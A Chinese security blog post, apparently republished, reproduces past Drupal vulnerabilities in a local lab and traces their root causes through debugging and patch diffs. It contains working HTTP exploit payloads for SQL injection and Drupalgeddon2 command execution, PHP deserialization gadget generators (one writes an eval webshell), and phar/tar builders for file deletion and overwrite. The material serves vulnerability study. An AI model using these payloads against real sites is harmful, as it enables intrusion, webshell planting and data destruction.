温故知新之Durpal历史漏洞复现学习

admin 2021年7月26日09:00:50评论164 views字数 8787阅读29分17秒阅读模式

温故知新之Durpal历史漏洞复现学习

网安教育

培养网络安全人才

技术交流、学习咨询



在具体分析Drupal的历史漏洞之前,可能需要先大致了解一下Durpal的整个工作流程,这里推荐三篇文章:

https://blog.csdn.net/u011474028/article/details/53021051

https://blog.fleeto.us/post/drupal-from-request-to-response/

http://blog.topsec.com.cn/关于drupal8系列框架和漏洞动态调试深入分析/



CVE-2014-3704 SQL注入漏洞


影响版本

Drupal < 7.32


环境安装

从官网中下载Drupal 7.31版本的源码

1https://www.drupal.org/project/drupal/releases/7.31


使用MAMP Pro搭建站点后,更改数据库的相关配置:

温故知新之Durpal历史漏洞复现学习


访问本地IP:8080端口,使用默认安装配置即可。

温故知新之Durpal历史漏洞复现学习


验证安装成功:

温故知新之Durpal历史漏洞复现学习


在不登录的情况下,验证payload:

 1POST /?q=node&destination=node HTTP/1.1
2Host: your-ip:8080
3Accept-Encoding: gzip, deflate
4Accept: */*
5Accept-Language: en
6User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
7Connection: close
8Content-Type: application/x-www-form-urlencoded
9Content-Length: 120
10
11pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a


温故知新之Durpal历史漏洞复现学习


漏洞分析

我们可以从上面这张图中看出,漏洞的触发点是在user.module文件中的user_login_authenticate_validate()这个函数。

下断点调试,查看函数调用栈:

温故知新之Durpal历史漏洞复现学习


这个函数在2149行对准备将提交的name参数进行SQL语句拼接:

温故知新之Durpal历史漏洞复现学习


继续跟进db_query函数,此时payload存储在args数组中

温故知新之Durpal历史漏洞复现学习


调用query()函数,在这个函数中,继续调用expandArguments进行实质的SQL语句拼接

温故知新之Durpal历史漏洞复现学习


此时query已经是拼接后的SQL语句

温故知新之Durpal历史漏洞复现学习

温故知新之Durpal历史漏洞复现学习

最后执行SQL

温故知新之Durpal历史漏洞复现学习


在mysql monitor工具中可以看到具体的执行语句

温故知新之Durpal历史漏洞复现学习




CVE-2017-6920 反序列化任意代码执行漏洞


影响版本

Drupal 8 < 8.3.3


环境安装

从官网中下载Durpal 8.3.0版本的源码

1https://www.drupal.org/project/drupal/releases/8.3.0


使用MAMP Pro集成环境搭建,更改php.ini配置,打开Yaml扩展:

温故知新之Durpal历史漏洞复现学习


查看PHPINFO验证是否开启Yaml扩展:

温故知新之Durpal历史漏洞复现学习


必须在配置文件中启用yaml.decode_php,否则无法复现成功。

1yaml.decode_php = 1


登录管理员账号

访问http://127.0.0.1:8080/admin/config/development/configuration/single/import

POC:!php/object "O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"GuzzleHttp\Psr7\FnStreammethods";a:1:{s:5:"close";s:7:"phpinfo";}s:9:"_fn_close";s:7:"phpinfo";}"

温故知新之Durpal历史漏洞复现学习


成功执行phpinfo

温故知新之Durpal历史漏洞复现学习



漏洞分析

查看官方的commit记录可以发现漏洞的触发点:

温故知新之Durpal历史漏洞复现学习


可以看到8.3.4版本的decode函数新增了一段代码,其作用主要就是改变PHP配置文件中的yaml.decode_php=0,那么我们就跟进这个文件:

温故知新之Durpal历史漏洞复现学习


漏洞所在函数decode的触发点代码就是上图中调用yaml_parse这个函数,其中$raw参数直接被带入yaml_parse函数中,看一下官方文档对于这个函数的描述:

温故知新之Durpal历史漏洞复现学习


第一个参数是需要parse成yaml的文档流,并且这个参数是从这个函数外部输入的。另外,在官方文档的下方有一个对这个函数的特别说明:

温故知新之Durpal历史漏洞复现学习


意思就是如果使用了!php/objecttag,yaml_parse会对第一个参数调用unserialize(),如果要禁止这样做,就通过设置yaml.decode_php来处理,这就是官方补丁在decode函数前面加的那几行代码。

因此,这个远程代码执行漏洞的罪魁祸首就是yaml_parse函数可能会用反序列化的形式来处理输入的字符串,从而导致通过反序列化类的方式来操作一些危险类,最终实现代码执行。

那么控制decode函数的参数$raw就可以出发这个漏洞。回溯定位decode函数的调用位置,在core/lib/Drupal/Component/Serialization/Yaml.php文件中

温故知新之Durpal历史漏洞复现学习


在第34行该函数调用了getSerializer函数,跟进到第48行,首先判断是否存在yaml扩展,如果存在的话就使用YamlPecl类,然后调用这个类中的decode函数,也就是会调用yaml_parse函数。

继续回溯调用Yaml::decode函数的地方,全局查找一共有36处地方:

温故知新之Durpal历史漏洞复现学习


其中外部可控的地方只有一处,位于ConfigSingleImportForm.php文件中。

温故知新之Durpal历史漏洞复现学习


这里对外部输入的import值进行Yaml::decode操作,那么这就是漏洞的数据触发点。

既然是反序列化,那么就需要找到一个可以反序列化的类。全局搜索__destruct或__wakeup关键字,一般而言__destruct更容易利用。

温故知新之Durpal历史漏洞复现学习


1/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php


温故知新之Durpal历史漏洞复现学习


通过反序列化这个类可以造成写入webshell,但是利用过程相比后面两个而言更为麻烦一点。PHPGGC已经包含了这个gadget,拿过来稍微改一下

 1<?php
2
3namespace GuzzleHttpCookie
4{
5  class SetCookie
6  {
7    private $data;
8
9    public function __construct($data)
10    
{
11      $this->data = [
12        'Name' => 'ca01h',
13        'Value' => 'ca01h',
14        'Expires' => 1,
15        'Discard' => false,
16        'Domain' => $data
17      ];
18    }
19  }
20
21  class CookieJar
22  
{
23    private $cookies = [];
24    private $strictMode;
25
26    public function __construct($data)
27    
{
28      $this->cookies = [new SetCookie($data)];
29    }
30  }
31
32  class FileCookieJar extends CookieJar
33  
{
34    private $filename;
35    private $storeSessionCookies = true;
36
37    public function __construct($filename, $data)
38    
{
39      parent::__construct($data);
40      $this->filename = $filename;
41    }
42  }
43$new = new FileCookieJar('/Users/ca01h/Desktop/shell.php''<?php @eval($_POST[1]);?>');
44  echo '!php/object ' . '"' . addslashes(serialize($new)) . '"';
45}


1/vendor/symfony/process/Pipes/WindowsPipes.php


温故知新之Durpal历史漏洞复现学习

温故知新之Durpal历史漏洞复现学习


反序列化这个类可以造成任意文件删除。


1/vendor/guzzlehttp/psr7/src/FnStream.php


温故知新之Durpal历史漏洞复现学习


反序列化这个类可以实现无参数RCE。

 1<?php
2namespace GuzzleHttpPsr7
3{
4  class FnStream
5  {
6    private $methods;
7
8    public function __construct(array $methods)
9    
{
10      $this->methods = $methods;
11
12      // Create the functions on the class
13      foreach ($methods as $name => $fn) {
14        $this->{'_fn_' . $name} = $fn;
15      }
16   }
17  }
18
19  $new = new FnStream(array("close" => "phpinfo()"));
20  echo '!php/object ' . '"' . addslashes(serialize($new)) . '"';
21}
22




CVE-2018-7600 远程命令执行漏洞


影响版本

Drupal 7 < 7.58

Drupal 8.3.x < 8.3.9

Drupal 8.4.x < 8.4.6

Drupal 8.5.x < 8.5.1


环境安装

从官网中下载Durpal 8.5.0版本的源码

1https://www.drupal.org/project/drupal/releases/8.5.0


使用MAMP Pro搭建,成功安装后,在不登录的情况下发送如下数据包:

 1POST /user/register?    element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
2Host: your-ip:8080
3Accept-Encoding: gzip, deflate
4Accept: */*
5Accept-Language: en
6User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
7Connection: close
8Content-Type: application/x-www-form-urlencoded
9Content-Length: 103
10
11form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id


温故知新之Durpal历史漏洞复现学习


漏洞分析

https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/

http://blog.nsfocus.net/cve-2018-7600-drupal-7-x/

http://blog.topsec.com.cn/关于drupal8系列框架和漏洞动态调试深入分析/



CVE-2018-7602 远程命令执行漏洞


http://blog.nsfocus.net/cve-2018-7602-drupal/



CVE-2019-6339 远程代码执行漏洞


https://paper.seebug.org/897/



CVE-2019-6341 1-click XSS



CVE-2020-28948/28949


远程代码执行漏洞/任意文件覆盖漏洞


影响版本

Drupal 9 < 9.0.9

Drupal 8.9 < 8.9.10

Drupal 8.8 < 8.8.12

Drupal 8.x (x≠8)

Drupal 7 < 7.75


漏洞分析

先查看Drupal官方发的漏洞通报:

https://www.drupal.org/sa-core-2020-013

温故知新之Durpal历史漏洞复现学习

通报中提到,Drupal使用了Archive_Tar第三方PEAR组件,而这个组件最近发布了一版安全更新,那么就先去官方仓库上看看Drupal是怎么修复这个漏洞的。以Drupal 8.9版本为例:

https://git.drupalcode.org/project/drupal/-/commit/1a9383ed9010af01608a5481ad443eb72c1bea7e

温故知新之Durpal历史漏洞复现学习


可以很明显的看到,Drupal将Archive_tar的版本从1.4.9升级到1.4.11。所以这个漏洞的源头并不是Drupal代码出了问题,而是第三方组件Archive_tar存在缺陷。那我们就主要分析一下Archive_tar的漏洞成因,同样的,去这个组件的GitHub仓库看两个版本的差异点。

https://github.com/pear/Archive_Tar/compare/1.4.9...1.4.11

温故知新之Durpal历史漏洞复现学习


左边是1.4.9版本的代码,右边是1.4.11版本的代码,漏洞的源头就是在于_maliciousFilename函数中。

作者为了防止反序列化漏洞,过滤了phar://关键字,但明显strpos这种简单的过滤还是太年轻了,可以很容易地用大写来绕过PHAR://exploit.phar,从而导致反序列化漏洞的产生,这就是CVE-2020-28948漏洞的根源。同样CVE-2020-28949漏洞的根源也在这个地方,我们可以使用file://path/to/file/to/be/overwritten协议作为文件名,从而导致文件覆盖的漏洞。


Archive_tar组件也很简单,就一个PHP文件,具体的漏洞成因我们审计这一个文件即可。


一共也就两个地方用到了_maliciousfilename这个函数,一个是_readHeader函数,另一个是_readLongHeader函数。

温故知新之Durpal历史漏洞复现学习


而从上图可以看到,在_readLongHeader函数中,还是调用了_readHeader函数,所以我们主要分析_readHeader这个函数。

温故知新之Durpal历史漏洞复现学习


这个函数比较长,但是通读下来,发现就做了一件事情,读取压缩文件的头部信息,这些信息包括checksum、property,其中property包含了filename、mode、uid、gid、size等等字段,将这些信息存储在$v_header中并返回到上一级函数,那么我们就进行回溯工作,看有哪些地方调用了_readHeader这个函数。


全局查找后,发现一共有三个地方,分别是_readLongHeader、_extractList和_extractInString,后两个函数对比一下就可以发现,_extractList是一个较为完整的解压缩过程,那从这里开始分析肯定是没错的。

温故知新之Durpal历史漏洞复现学习


在1989行调用了readHeader函数,在我们跟踪$v_header['filename']参数之前,由于函数传参较多,而且参数会很大程度上影响程序流程,所以我们调研一下Archive_tar组件使用方法后发现,解压缩主要是用到extract这个函数。

温故知新之Durpal历史漏洞复现学习

继续跟进extractModify函数

温故知新之Durpal历史漏洞复现学习

在574行调用了_extractList函数,进入上述所说的实质性解压操作。


根据上图的参数,正常程序流程会进入到2049行的if语句中,并且不会进入到2050行和2062行的if语句中。

温故知新之Durpal历史漏洞复现学习

接下来在执行2075行的if语句时,调用了file_exsits函数,参数是原本$v_header['filename']的值,此时如果这个值是PHAR://exploit.phar,并且当前文件夹上传了expliot.phar文件,那么就会触发反序列化漏洞。

既然是反序列化操作,那么就需要全局搜索__destruct或者__wakeup函数。

温故知新之Durpal历史漏洞复现学习

全局搜索析构函数后,继续跟进_close函数

温故知新之Durpal历史漏洞复现学习

在该函数的最后一部分,当_temp_tarname不为空的时候,会调用unlink删除文件函数,那么这个地方就可以触发任意文件删除的漏洞了。


分析完漏洞成因后,接下来就是编写漏洞利用的脚本了。首先新建一个ca01h_test的文件,内容随意,接下来编写生成Phar文件的PHP代码:

 1<?php
2ini_set('phar.readonly','Off');
3class Archive_Tar {
4  public $_temp_tarname;
5  function __construct($_temp_tarname) {
6    $this->_temp_tarname = $_temp_tarname;
7  }
8}
9
10$phar = new Phar('exploit.phar');
11$phar->startBuffering();
12$phar->addFromString('test.txt''text');
13$phar->setStub('<?php __HALT_COMPILER(); ? >');
14$tar = new Archive_Tar('ca01h_test');
15$phar->setMetadata($tar);
16$phar->stopBuffering();
17


然后再编写python脚本生成一个压缩文件,其中被压缩的文件名是PHAR://exploit.phar,input_file.txt文件内容随意:

1import tarfile
2tar = tarfile.open('exploit.tar''w')
3tar.add('input_file.txt''PHAR://exploit.phar')
4tar.close()


最后编写触发漏洞的代码:

1<?php
2  require_once('../Archive/Tar.php');
3
4  $archive = new Archive_Tar('exploit.tar');
5  $archive->extract();
6


运行上面代码后,可以发现ca01h_test文件被删除。


接下来再讨论一下CVE-2020-28948,产生漏洞的原因同时是因为过滤不严,只是触发漏洞的位置不一样而言。

温故知新之Durpal历史漏洞复现学习


程序在第2151行或2158行调用了fwrite函数,将从压缩文件读出来的文件内容写入到$v_header[filename]文件中,那么这个地方就可能造成任意文件覆盖的漏洞。流程如下:


首先生成一个测试文件,内容随意:

1echo "test" > /tmp/target_file


再用python脚本生成带有恶意payload文件名的压缩文件:

1import tarfile
2tar = tarfile.open('exploit.tar''w')
3tar.add('input_file.txt''file:///tmp/target_file')
4tar.close()


最后执行同样的漏洞触发代码:

1<?php
2  require_once('../Archive/Tar.php');
3
4  $archive = new Archive_Tar('exploit.tar');
5  $archive->extract();
6



参考

https://github.com/vulhub/vulhub/tree/master/drupal

https://paper.seebug.org/334/

http://blog.topsec.com.cn/关于drupal8系列框架和漏洞动态调试深入分析/

https://kylingit.com/blog/由phpggc理解php反序列化漏洞/


温故知新之Durpal历史漏洞复现学习

来源:CA01H'S BLOG

原文链接:https://ca0y1h.top/code_audit/PHP/16.Drupal%E5%8E%86%E5%8F%B2%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/

版权声明:著作权归作者所有。如有侵权请联系删除


开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

温故知新之Durpal历史漏洞复现学习

加QQ(1005989737)找小姐姐私聊哦



精选文章


环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

温故知新之Durpal历史漏洞复现学习


我就知道你“在看”
温故知新之Durpal历史漏洞复现学习

本文始发于微信公众号(开源聚合网络空间安全研究院):温故知新之Durpal历史漏洞复现学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月26日09:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   温故知新之Durpal历史漏洞复现学习http://cn-sec.com/archives/436331.html

发表评论

匿名网友 填写信息